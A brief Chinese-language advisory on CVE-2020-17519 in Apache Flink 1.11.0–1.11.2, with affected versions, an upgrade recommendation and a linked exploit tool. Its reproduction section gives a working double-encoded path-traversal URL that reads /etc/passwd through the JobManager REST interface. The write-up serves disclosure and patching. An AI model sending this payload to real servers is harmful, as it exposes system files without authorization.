Apache Flink文件包含（CVE-2020-17519）

0x01 简介

Apache Flink 是高效和分布式的通用数据处理平台。

Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

0x02 漏洞编号

CVE-2020-17519

0x03 影响版本

1.11.0
1.11.1
1.11.2

0x04 漏洞复现

POC

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

0x05 工具附件

https://github.com/B1anda0/CVE-2020-17519

0x06 修复建议

升级到最新版本